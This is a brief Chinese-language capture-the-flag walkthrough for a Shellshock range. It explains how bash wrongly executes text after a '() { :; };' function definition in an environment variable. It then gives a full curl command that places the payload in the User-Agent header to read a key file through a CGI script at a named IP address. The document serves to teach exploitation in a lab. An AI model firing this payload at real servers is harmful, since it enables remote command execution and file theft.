打开靶场网页。
根据解题方向:找到poc.cgi文件。查询资料的得知poc.cgi文件在/cgi-bin/路径下。
bash详细分析后得知bash在处理含有函数定义诸如”() { :;};”的环境变量赋值的代码上存在设计缺陷,错误地将函数定义后面的字符串作为命令执行。设法让系统接受一个含有"(函数定义)+(任意命令)“的环境变量赋值则可触发”(任意命令)"部分所表示的代码执行。
用() { :; };这个可以导致bash处理这样的函数环境变量的时候,没有函数结尾,一直执行其后的命令。
利用这个Bash漏洞需要在闭合函数之后输出一个换行,用echo;或echo -e “\r\n”;
打开kali虚拟机在命令行输入:curl -A ‘() { :; }; echo -e “\r\n”;/bin/cat …/…/…/key.txt’ http://219.153.49.228:41794/cgi-bin/poc.cgi
即可获取key。